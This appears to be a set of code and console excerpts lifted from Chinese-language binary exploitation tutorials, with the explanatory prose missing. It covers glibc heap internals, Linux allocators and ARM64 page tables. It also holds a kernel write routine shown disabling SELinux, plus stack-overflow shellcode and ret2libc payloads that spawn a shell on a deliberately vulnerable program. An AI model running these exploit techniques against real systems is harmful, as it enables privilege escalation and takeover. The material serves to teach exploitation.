#include <sys/mman.h>

void *
mmap(void *addr, size_t len, int prot, int flags,
	 int fd, off_t offset);

int main() {
    void *addr;
    addr = sbrk(0);
    addr = sbrk(1);
    return 0;
}

0x56557000 0x56558000 rw-p     1000 1000   /pwn/test_brk

0x56557000 0x56558000 rw-p     1000 1000   /pwn/test_brk
0x56558000 0x56559000 rw-p     1000 0      [heap]

/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	    |             Size of previous chunk, if unallocated (P clear)  |
	    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	    |             Size of chunk, in bytes                     |A|M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	    |             User data starts here...                          .
	    .                                                               .
	    .             (malloc_usable_size() bytes)                      .
	    .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	    |             (size of chunk, but used for application data)    |
	    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	    |             Size of next chunk, in bytes                |A|0|1|
	    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

typedef struct _heap_info
{
  mstate ar_ptr; /* Arena for this heap. */
  struct _heap_info *prev; /* Previous heap. */
  size_t size;   /* Current size in bytes. */
  size_t mprotect_size; /* Size in bytes that has been mprotected
                           PROT_READ|PROT_WRITE.  */
  /* Make sure the following data is properly aligned, particularly
     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
     MALLOC_ALIGNMENT. */
  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;

struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Set if the fastbin chunks contain recently inserted free blocks.  */
  /* Note this is a bool but not all targets support atomics on booleans.  */
  int have_fastchunks;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

...
  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];
...
  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

    64 bins of size       8
    32 bins of size      64
    16 bins of size     512
     8 bins of size    4096
     4 bins of size   32768
     2 bins of size  262144
     1 bin  of size what's left

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

/* With rounding and alignment, the bins are...
   idx 0   bytes 0..24 (64-bit) or 0..12 (32-bit)
   idx 1   bytes 25..40 or 13..20
   idx 2   bytes 41..56 or 21..28
   etc.  */

void *_int_malloc(size) {
	size_t nb = req2size(size);
	chunkptr victim;
	if (nb <= get_max_fast()) {
		// 定位对应的fastbin，并在头部取出(FILO)
		// 如果开启tcache，还会将bin中其他相同大小的chunk全部转移到tcache中
	}

	if (in_smallbin_range(size)) {
		// 定位对应的smallbin，并在尾部取出，即bin->bk(FIFO)
		// 如果开启tcache，还会将bin中其他相同大小的chunk全部转移到tcache中
	} else {
		// 请求为large request，因此需要先清理fastbin
		malloc_consolidate(av);
	}
	
	// 在unsorted_bin中搜索
	foreach(chunk : unsorted_bin) {
		if (is_small && only_chunk && chunk_size > nb) {
			// 分裂这个chunk，更新last_remainder并返回
		}
		if (chunk_size == nb) {
			// 如果没开启tcache，直接返回
			// 如果开启tcache，则先放到tcache，再次循环从tcache中取
		} 
		// 只有一次机会，不是合适的chunk，直接释放到对应的bin中
		if (in_smallbin_range(size)) {
			// 放到对应的smallbin 头部
		} else {
			// 放到对应的largbin中，按照大小排序
		}
		
		if (in_tcache) return tcache_get();
	}

	if (!in_smallbin_range (nb)) {
		// 在largebin中搜索，找到就返回
	}
	
	for (bin in bins) {
		// 通过bitmap在smallbin中搜索，找到就返回
	}
	
use_top:
	// 都找不到合适的chunk，中top_chunk中分裂
	// 如果不足以分离，通过sysalloc扩充top_chunk
}

void *__libc_malloc(size) {
	if (in_tcache) return tcache_get();
	return _int_malloc(size);
}

static void
_int_free (mstate av, mchunkptr p) {
	size_t size = chunksize (p);
	if (tcache) { 
		// 放到tcachebin中
	}
	
	if (size <= get_max_fast()) {
		// 将chunk放到对应fastbin的头部
	} else if (!chunk_is_mmapped(p)) {
		if (!prev_inuse(p)) {
			// 后向合并(backward)
			p = prev_chunk(p);
			unlink(av, p, bck, fwd);
		}
		if (nextchunk != av->top) {
			if (!nextinuse) {
				// 前向合并(forward)
				unlink(av, nextchunk, bck, fwd);
				size += nextsize;
			}
			// 将chunk放到unsorted bin中
		} else {
			// 将chunk与top_chunk合并，并成为新的top_chuck
			av->top = p;
		}
		if (size > FASTBIN_CONSOLIDATION_THRESHOLD) {
			// 如果释放的空间太大，就通过systrim回收给系统
			malloc_consolidate(av);
			systrim(heap);
		}

	} else {
		munmap_chunk(p);
	}
}

void unlink(chunk *c) {
	FD = c->fd;
	BK = c->bk;
	FD->bk = BK;
	BK->fd = FD;
}

FD = *(c + fd_off);
BK = *(c + bk_off);
*(FD + bk_off) = BK; // 3
*(BK + fd_off) = FD; // 4

*x = y;

  0x100   0x100    0x80
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   释放 B
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B 的 size 为 0x180
|-------|-------|-------|
|   A   |   B   |   C   |   malloc(0x180-8)
|-------|-------|-------|   C 块被覆盖
        |<-- malloced-->|

  0x100   0x100    0x80
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B 的 size 为 0x180 (C->prev_size)
|-------|-------|-------|
|   A   |   B   |   C   |   释放 B
|-------|-------|-------|
|   A   |   B   |   C   |   malloc(0x180-8)
|-------|-------|-------|   C 块被覆盖
        |<-- malloced-->|

  0x100       0x210       0x80
|-------|---------------|-------|
|   A   |       B       |   C   |   初始状态
|-------|---------------|-------|
|   A   |       B       |   C   |   释放 B
|-------|---------------|-------|
|   A   |       B       |   C   |   溢出 B 的 size 为 0x200
|-------|---------------|-------|   之后的 malloc 操作没有更新 C 的 prev_size
         0x100  0x80
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   malloc(0x100-8), malloc(0x80-8)
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   释放 B1
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   释放 C，C 将与 B1 合并
|-------|------|-----|--|-------|  
|   A   |  B1  | B2  |  |   C   |   malloc(0x180-8)
|-------|------|-----|--|-------|   从B1开始，B2 将被覆盖
        |<-malloced->|

  0x100   0x100   0x101
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   释放 A
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B，覆盖 C 块的 size 为 0x200，并使其 prev_size 为 0x200
|-------|-------|-------|
|   A   |   B   |   C   |   释放 C
|-------|-------|-------|
|   A   |   B   |   C   |   C 将与 A 合并
|-------|-------|-------|   B 块被重叠
|<----- malloced ------>|

64K * 2^4 = 1024K

  /* Free memory management - zoned buddy allocator.  */
  #ifndef CONFIG_FORCE_MAX_ZONEORDER
  #define MAX_ORDER 11
  #else
  #define MAX_ORDER CONFIG_FORCE_MAX_ZONEORDER
  #endif
  #define MAX_ORDER_NR_PAGES (1 << (MAX_ORDER - 1))

struct page *alloc_pages(gfp_t gfp_mask, unsigned int order);
void free_pages(unsigned long addr, unsigned int order);

$ cat /proc/buddyinfo
Node 0, zone      DMA      1      1      0      0      2      1      1      0      1      1      3
Node 0, zone    DMA32   3416   4852   3098   3205   3209   3029     33     22     15      7     52
Node 0, zone   Normal  29330 192053 148293  90568  33732   9018   2688    411    942    999   1852
Node 1, zone   Normal    107   1229  18644  76650  46053   8383   4398   5486   1751    497     84

  /*
   * Slab cache management.
   */
  struct kmem_cache {
      struct kmem_cache_cpu __percpu *cpu_slab;
      /* Used for retriving partial slabs etc */
      unsigned long flags;
      unsigned long min_partial;
      int size;       /* The size of an object including meta data */
      int object_size;    /* The size of an object without meta data */
      int offset;     /* Free pointer offset. */
  #ifdef CONFIG_SLUB_CPU_PARTIAL
      int cpu_partial;    /* Number of per cpu partial objects to keep around */
  #endif
      ...
	  struct kmem_cache_node *node[MAX_NUMNODES];
}

  struct kmem_cache_cpu {
      void **freelist;    /* Pointer to next available object */
      unsigned long tid;  /* Globally unique transaction id */
      struct page *page;  /* The slab from which we are allocating */
  #ifdef CONFIG_SLUB_CPU_PARTIAL
      struct page *partial;   /* Partially allocated frozen slabs */
  #endif
  #ifdef CONFIG_SLUB_STATS
      unsigned stat[NR_SLUB_STAT_ITEMS];
  #endif
  };

struct kmem_cache_node {
    spinlock_t list_lock;
    ...
#ifdef CONFIG_SLUB
    unsigned long nr_partial;
    struct list_head partial;
    ..
#endif
};

struct page {
...
      /*
       * Third double word block
       *
       * WARNING: bit 0 of the first word encode PageTail(). That means
       * the rest users of the storage space MUST NOT use the bit to
       * avoid collision and false-positive PageTail().
       */
      union {
          struct list_head lru;   /* Pageout list, eg. active_list
                       * protected by zone_lru_lock !
                       * Can be used as a generic list
                       * by the page owner.
                       */
     ...

 Active / Total Objects (% used)    : 25864761 / 26174849 (98.8%)
 Active / Total Slabs (% used)      : 661098 / 661098 (100.0%)
 Active / Total Caches (% used)     : 93 / 158 (58.9%)
 Active / Total Size (% used)       : 4921033.80K / 5046143.93K (97.5%)
 Minimum / Average / Maximum Object : 0.01K / 0.19K / 295.08K

  OBJS ACTIVE  USE OBJ SIZE  SLABS OBJ/SLAB CACHE SIZE NAME
18380583 18380583 100%    0.10K 471297       39   1885188K buffer_head
1785462 1711901   0%    0.19K  42511       42    340088K dentry
1705350 1629533   0%    1.06K  56845       30   1819040K ext4_inode_cache
589064 567016   0%    0.57K  21038       28    336608K radix_tree_node
530112 495734   0%    0.06K   8283       64     33132K kmalloc-64
475728 429025   0%    0.04K   4664      102     18656K ext4_extent_status
357632 355306   0%    0.06K   5588       64     22352K pid
258944 245861   0%    0.03K   2023      128      8092K kmalloc-32
247494 246414   0%    0.20K   6346       39     50768K vm_area_struct
231794 230768   0%    0.09K   5039       46     20156K anon_vma
174780 169836   0%    0.13K   5826       30     23304K kernfs_node_cache
164224 159505   0%    0.25K   5132       32     41056K filp
146688 143610   0%    0.02K    573      256      2292K kmalloc-16
120480 117291   0%    0.66K   2510       48     80320K proc_inode_cache
101376  97721   0%    0.01K    198      512       792K kmalloc-8
 86310  85793   0%    0.19K   2055       42     16440K cred_jar
 78122  75197   0%    0.59K   1474       53     47168K inode_cache
 48512  46984   0%    0.50K   1516       32     24256K kmalloc-512

ENTRY(stext)
    bl  preserve_boot_args
    bl  el2_setup           // Drop to EL1, w20=cpu_boot_mode
    adrp    x24, __PHYS_OFFSET
    bl  set_cpu_boot_mode_flag

    bl  __vet_fdt
    bl  __create_page_tables        // x25=TTBR0, x26=TTBR1
    /*
     * The following calls CPU setup code, see arch/arm64/mm/proc.S for
     * details.
     * On return, the CPU will be ready for the MMU to be turned on and
     * the TCR will have been set.
     */
    ldr x27, =__mmap_switched       // address to jump to after
                        // MMU has been enabled
    adr_l   lr, __enable_mmu        // return (PIC) address
    b   __cpu_setup         // initialise processor
ENDPROC(stext)

/*
 * Setup the initial page tables. We only setup the barest amount which is
 * required to get the kernel running. The following sections are required:
 *   - identity mapping to enable the MMU (low address, TTBR0)
 *   - first few MB of the kernel linear mapping to jump to once the MMU has
 *     been enabled, including the FDT blob (TTBR1)
 *   - pgd entry for fixed mappings (TTBR1)
 */
__create_page_tables:
    adrp    x25, idmap_pg_dir
    adrp    x26, swapper_pg_dir
    mov x27, lr
	// ...
    mov lr, x27
    ret
ENDPROC(__create_page_tables)

/*
 * Macro to create a table entry to the next page.
 *
 *  tbl:    page table address
 *  virt:   virtual address
 *  shift:  #imm page table shift
 *  ptrs:   #imm pointers per table page
 *
 * Preserves:   virt
 * Corrupts:    tmp1, tmp2
 * Returns: tbl -> next level table page address
 */
    .macro  create_table_entry, tbl, virt, shift, ptrs, tmp1, tmp2
    lsr \tmp1, \virt, #\shift
    and \tmp1, \tmp1, #\ptrs - 1    // table index
    add \tmp2, \tbl, #PAGE_SIZE
    orr \tmp2, \tmp2, #PMD_TYPE_TABLE   // address of next table and entry type
    str \tmp2, [\tbl, \tmp1, lsl #3]
    add \tbl, \tbl, #PAGE_SIZE      // next level table page (注：因此连续两次调用所创建的列表是连续的)
    .endm

/*
 * Macro to populate the PGD (and possibily PUD) for the corresponding
 * block entry in the next level (tbl) for the given virtual address.
 *
 * Preserves:   tbl, next, virt
 * Corrupts:    tmp1, tmp2
 */
    .macro  create_pgd_entry, tbl, virt, tmp1, tmp2
    create_table_entry \tbl, \virt, PGDIR_SHIFT, PTRS_PER_PGD, \tmp1, \tmp2
#if SWAPPER_PGTABLE_LEVELS == 3
    create_table_entry \tbl, \virt, SWAPPER_TABLE_SHIFT, PTRS_PER_PTE, \tmp1, \tmp2
#endif
    .endm

/*
 * Macro to populate block entries in the page table for the start..end
 * virtual range (inclusive).
 *
 * Preserves:   tbl, flags
 * Corrupts:    phys, start, end, pstate
 */
    .macro  create_block_map, tbl, flags, phys, start, end
    lsr \phys, \phys, #SWAPPER_BLOCK_SHIFT
    lsr \start, \start, #SWAPPER_BLOCK_SHIFT
    and \start, \start, #PTRS_PER_PTE - 1   // table index
    orr \phys, \flags, \phys, lsl #SWAPPER_BLOCK_SHIFT  // table entry
    lsr \end, \end, #SWAPPER_BLOCK_SHIFT
    and \end, \end, #PTRS_PER_PTE - 1       // table end index
9999:   str \phys, [\tbl, \start, lsl #3]       // store the entry
    add \start, \start, #1          // next entry
    add \phys, \phys, #SWAPPER_BLOCK_SIZE       // next block
    cmp \start, \end
    b.ls    9999b
    .endm

/*
 * Enable the MMU.
 *
 *  x0  = SCTLR_EL1 value for turning on the MMU.
 *  x27 = *virtual* address to jump to upon completion
 *
 * other registers depend on the function called upon completion
 */
__enable_mmu:
    ldr x5, =vectors
    msr vbar_el1, x5
    msr ttbr0_el1, x25          // load TTBR0
    msr ttbr1_el1, x26          // load TTBR1
    isb
    msr sctlr_el1, x0
    isb
    /*
     * Invalidate the local I-cache so that any instructions fetched
     * speculatively from the PoC are discarded, since they may have
     * been dynamically patched at the PoU.
     */
    ic  iallu
    dsb nsh
    isb
    br  x27
ENDPROC(__enable_mmu)

-------------------------x--------x--------x--------x-----------
1111111111111111111111111100000000000000000101110101011101110000

AArch64 Linux memory layout with 4KB pages:
Start            End            Size        Use
-----------------------------------------------------------------------
0000000000000000    0000007fffffffff     512GB        user
ffffff8000000000    ffffffbbfffeffff    ~240GB        vmalloc
ffffffbbffff0000    ffffffbbffffffff      64KB        [guard page]
ffffffbc00000000    ffffffbdffffffff       8GB        vmemmap
ffffffbe00000000    ffffffbffbbfffff      ~8GB        [guard, future vmmemap]
ffffffbffa000000    ffffffbffaffffff      16MB        PCI I/O space
ffffffbffb000000    ffffffbffbbfffff      12MB        [guard]
ffffffbffbc00000    ffffffbffbdfffff       2MB        fixed mappings
ffffffbffbe00000    ffffffbffbffffff       2MB        [guard]
ffffffbffc000000    ffffffbfffffffff      64MB        modules
ffffffc000000000    ffffffffffffffff     256GB        kernel logical memory map

# The byte offset of the kernel image in RAM from the start of RAM.
ifeq ($(CONFIG_ARM64_RANDOMIZE_TEXT_OFFSET), y)
TEXT_OFFSET := $(shell awk 'BEGIN {srand(); printf "0x%03x000\n", int(512 * rand())}')
else
TEXT_OFFSET := 0x00080000
endif

pwndbg> p/x memstart_addr
$2 = 0x40000000

Memory: 2055232K/2097152K available (5455K kernel code, 326K rwdata, 1872K rodata, 232K init, 482K bss, 41920K reserved)
Virtual kernel memory layout:
    vmalloc : 0xffffff8000000000 - 0xffffffbdffff0000   (   247 GB)
    vmemmap : 0xffffffbe00000000 - 0xffffffbfc0000000   (     7 GB maximum)
              0xffffffbe00000000 - 0xffffffbe01c00000   (    28 MB actual)
    PCI I/O : 0xffffffbffa000000 - 0xffffffbffb000000   (    16 MB)
    fixed   : 0xffffffbffbdfd000 - 0xffffffbffbdff000   (     8 KB)
    modules : 0xffffffbffc000000 - 0xffffffc000000000   (    64 MB)
    memory  : 0xffffffc000000000 - 0xffffffc080000000   (  2048 MB)
      .init : 0xffffffc0007b0000 - 0xffffffc0007ea000   (   232 KB)
      .text : 0xffffffc000080000 - 0xffffffc0005d5c70   (  5464 KB)
      .data : 0xffffffc0007fa000 - 0xffffffc00084ba00   (   327 KB)

void init_mirror(uintptr_t kernel_phys, uintptr_t mirror_base, int fd) {
    /* one kernel write primitive to grant new mirror virtual space
     * 1. calculate d_block_addr
     * 2. prepare d_block (int64)
     * 3. write d_block to d_block_addr
     * */
    uintptr_t d_block_addr;
    uintptr_t d_block;

    int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
    d_block_addr = SYMBOL__swapper_pg_dir + index1 * 8;  // target Table Descriptor Address
    pz_log("descriptor: 0x%lx + %d x 8 = 0x%lx", SYMBOL__swapper_pg_dir, index1, d_block_addr);

    d_block = 0;
    d_block |= 0x1 ; // Block entry
    /* Lower attributes */
    d_block |= (1u << 11); // bits[11], nG
    d_block |= (1u << 10); // bits[10], AF
    d_block |= (1u << 9); // bits[9], SH[1]
    d_block |= 0x40; // bits[7:6], AP[2:1] = 01
    d_block |= 0x20; // bits[5], NS
    d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
    d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
    /* Upper attributes */
    d_block |= (1ul << 52); // bits[52], Contiguous
    d_block |= (1ul << 53); // bits[53], PXN
    d_block |= (1ul << 54); // bits[54], XN

    pz_log("d_block = 0x%lx", d_block);
    pz_write(fd, (void *)d_block_addr, &d_block, 8);
}

generic_arm64:/data/local/tmp # getenforce
Enforcing
generic_arm64:/data/local/tmp # ./test_ksma
[+] descriptor: 0xffffffc0008c8000 + 264 x 8 = 0xffffffc0008c8840
[+] d_block = 0x70000040000e71
[+] vaddr 0xffffffc00088b11c TTBR1 L0=0x1ff L1=0x100 L2=0x4 L3=0x8b OFF=0x11c
[+] vaddr 0xffffffc20088b11c TTBR1 L0=0x1ff L1=0x108 L2=0x4 L3=0x8b OFF=0x11c
[+] addr   0xffffffc00088b11c  --> 0x100000001
[+] mirror 0xffffffc20088b11c  --> 0x100000001
[+] directly write mirror
[+] addr   0xffffffc00088b11c  --> 0x100000000
[+] mirror 0xffffffc20088b11c  --> 0x100000000
generic_arm64:/data/local/tmp # getenforce
Permissive

(gdb) info registers 
eax            0xf7fa6dbc	-134582852
ecx            0x5cb15f85	1555128197
edx            0xffffc834	-14284
ebx            0x0	0
esp            0xffffc808	0xffffc808
ebp            0xffffc808	0xffffc808
esi            0x1	1
edi            0xf7fa5000	-134590464
eip            0x56555563	0x56555563 <main+3>
eflags         0x292	[ AF SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

通用寄存器:
EAX EBX ECX EDX

索引和指针:
ESI EDI EBP ESP EIP

段寄存器:
CS SS DS ES FS GS

指示器:
EFLAGS

(gdb) info  registers 
rax            0x555555554660	93824992233056
rbx            0x0	0
rcx            0x0	0
rdx            0x7fffffffd708	140737488344840
rsi            0x7fffffffd6f8	140737488344824
rdi            0x1	1
rbp            0x7fffffffd610	0x7fffffffd610
rsp            0x7fffffffd610	0x7fffffffd610
r8             0x5555555546e0	93824992233184
r9             0x7ffff7de8cb0	140737351945392
r10            0x8	8
r11            0x1	1
r12            0x555555554530	93824992232752
r13            0x7fffffffd6f0	140737488344816
r14            0x0	0
r15            0x0	0
rip            0x555555554664	0x555555554664 <main+4>
eflags         0x246	[ PF ZF IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

0x1122334455667788
  ================ RAX (64位)
          ======== EAX (低32位)
              ====  AX (低16位)
              ==    AH (高8位)
                ==  AL (低8位)

$ cat victim.c
int foo(int a, int b, int c,  int d,  int e,  int f,  int g,  int h) {
    return a + b + c + d + e + f + g + h;
}
int main() {
    foo(1, 2, 3, 4, 5, 6, 7, 8);
    return 0;
}
$ gcc victim.c -o victim
$ objdump -d victim | grep "<main>:" -A 11
00000000000006a0 <main>:
 6a0:	55                   	push   rbp
 6a1:	48 89 e5             	mov    rbp,rsp
 6a4:	6a 08                	push   0x8
 6a6:	6a 07                	push   0x7
 6a8:	41 b9 06 00 00 00    	mov    r9d,0x6
 6ae:	41 b8 05 00 00 00    	mov    r8d,0x5
 6b4:	b9 04 00 00 00       	mov    ecx,0x4
 6b9:	ba 03 00 00 00       	mov    edx,0x3
 6be:	be 02 00 00 00       	mov    esi,0x2
 6c3:	bf 01 00 00 00       	mov    edi,0x1
 6c8:	e8 93 ff ff ff       	call   660 <foo>

// victim.c
# include <stdio.h>
int foo() {
    char buf[10];
    scanf("%s", buf);
    printf("hello %s\n", buf);
    return 0;
}
int main() {
    foo();
    printf("good bye!\n");
    return 0;
}
void dummy()
{
    __asm__("nop; jmp rsp");
} 

$ gcc victim.c -o victim -g -masm=intel -fno-stack-protector -z execstack -no-pie -fno-pic
$ ragg2 -P 80 -r > victim.rr2
$ gdb victim
(gdb) run < victim.rr2 
Starting program: /home/pan/stack_overflow_demo/x64/victim < victim.rr2
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaA

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005f0 in foo () at victim.c:8
8	}
(gdb) p $rip
$1 = (void (*)()) 0x4005f0 <foo+58>

(gdb) b 6
Breakpoint 1 at 0x4005d4: file victim.c, line 6.
(gdb) run < victim.rr2 
(gdb) x/xg $rbp+8
0x7fffffffd608:	0x4149414148414147

$ gdb ./victim
(gdb) run < <(python -c "print 'A'*18 + 'B'*4")
hello AAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x0000000042424242 in ?? ()
(gdb) p $rip
$1 = (void (*)()) 0x42424242

$ LD_TRACE_LOADED_OBJECTS=1 ./victim
	linux-vdso.so.1 (0x00007ffff7ffa000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a3a000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system@
   583: 000000000003f450    45 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1353: 000000000003f450    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
$ rafind2 -z -s /bin/sh /lib/x86_64-linux-gnu/libc.so.6
0x1619f9

;shellcode.asm
mov rdi, 0x7ffff7b9b9f9;
mov rdx, 0x7ffff7a79450;
call rdx;

$ rasm2 "jmp rsp"
ffe4
$ objdump -d victim | grep "ff e4"
  400615:	ff e4                	jmp    rsp
$ rasm2 -a x86 -b 64 -f shellcode.asm -C
"\x48\xbf\xf9\xb9\xb9\xf7\xff\x7f\x00\x00\x48\xba\x50\x94\xa7\xf7\xff\x7f\x00\x00\xff\xd2"

$ (python -c 'print "A"*18 + "\x15\x06\x40\x00" + "\x00"*4 + "\x90"*20 + "\x48\xbf\xf9\xb9\xb9\xf7\xff\x7f\x00\x00\x48\xba\x50\x94\xa7\xf7\xff\x7f\x00\x00\xff\xd2"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA@
whoami
pan
id
uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)

$ rasm2 "pop rdi; ret"
5fc3
$ rafind2 -x 5fc3 -X victim
0x683
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000683  5fc3 9066 2e0f 1f84 0000 0000 00f3 c300  _..f............
0x00000693  0048 83ec 0848 83c4 08c3 0000 0001 0002  .H...H..........
0x000006a3  0025 7300 6865 6c6c 6f20 2573 0a00 676f  .%s.hello %s..go
0x000006b3  6f64 2062 7965 2100 0001 1b03 3b40 0000  od bye!.....;@..
0x000006c3  0007 0000 00c4 fdff ff8c 0000 0004       ..............

栈顶(低地址) <-------- 栈底(高地址)
...[18字节][0x400683]["/bin/sh"地址][system@libc][system返回(可选)]

$ (python -c 'print "A"*18 + "\x83\x06\x40\x00\x00\x00\x00\x00" + "\xf9\xb9\xb9\xf7\xff\x7f\x00\x00" + "\x50\x94\xa7\xf7\xff\x7f\x00\x00"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA�@
whoami
pan
id
uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)

$ gdb victim_nx
(gdb) info functions 
All defined functions:

File victim.c:
void dummy();
int foo();
int main();

Non-debugging symbols:
0x0000000000400460  _init
0x0000000000400490  puts@plt
0x00000000004004a0  printf@plt
0x00000000004004b0  __isoc99_scanf@plt
0x00000000004004c0  _start
0x00000000004004f0  deregister_tm_clones
0x0000000000400530  register_tm_clones
0x0000000000400570  __do_global_dtors_aux
0x0000000000400590  frame_dummy
0x0000000000400620  __libc_csu_init
0x0000000000400690  __libc_csu_fini
0x0000000000400694  _fini

$ objdump -d ./victim_nx | grep "<__libc_csu_init>:" -A35
0000000000400620 <__libc_csu_init>:
   400620:	41 57                	push   r15
   400622:	41 56                	push   r14
   400624:	41 89 ff             	mov    r15d,edi
   400627:	41 55                	push   r13
   400629:	41 54                	push   r12
   40062b:	4c 8d 25 d6 07 20 00 	lea    r12,[rip+0x2007d6]        # 600e08 <__frame_dummy_init_array_entry>
   400632:	55                   	push   rbp
   400633:	48 8d 2d d6 07 20 00 	lea    rbp,[rip+0x2007d6]        # 600e10 <__init_array_end>
   40063a:	53                   	push   rbx
   40063b:	49 89 f6             	mov    r14,rsi
   40063e:	49 89 d5             	mov    r13,rdx
   400641:	4c 29 e5             	sub    rbp,r12
   400644:	48 83 ec 08          	sub    rsp,0x8
   400648:	48 c1 fd 03          	sar    rbp,0x3
   40064c:	e8 0f fe ff ff       	call   400460 <_init>
   400651:	48 85 ed             	test   rbp,rbp
   400654:	74 20                	je     400676 <__libc_csu_init+0x56>
   400656:	31 db                	xor    ebx,ebx
   400658:	0f 1f 84 00 00 00 00 	nop    DWORD PTR [rax+rax*1+0x0]
   40065f:	00 
  /400660:	4c 89 ea             	mov    rdx,r13
2| 400663:	4c 89 f6             	mov    rsi,r14
 | 400666:	44 89 ff             	mov    edi,r15d
  \400669:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
   40066d:	48 83 c3 01          	add    rbx,0x1
   400671:	48 39 dd             	cmp    rbp,rbx
   400674:	75 ea                	jne    400660 <__libc_csu_init+0x40>
   400676:	48 83 c4 08          	add    rsp,0x8
  /40067a:	5b                   	pop    rbx
 | 40067b:	5d                   	pop    rbp
 | 40067c:	41 5c                	pop    r12
1| 40067e:	41 5d                	pop    r13
 | 400680:	41 5e                	pop    r14
 | 400682:	41 5f                	pop    r15
  \400684:	c3                   	ret    

$ file /bin/ls
/bin/ls: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3c233e12c466a83aa9b2094b07dbfaa5bd10eccd, stripped

// symbol.c
int my_var = 42;
int my_func(int a, int b) {
    return a + b;
}

gcc -g -m32 -masm=intel -shared -fPIC symbol.c -o libsymbol.so

// main.c
int var = 10;
extern int my_var;
extern int my_func(int, int);

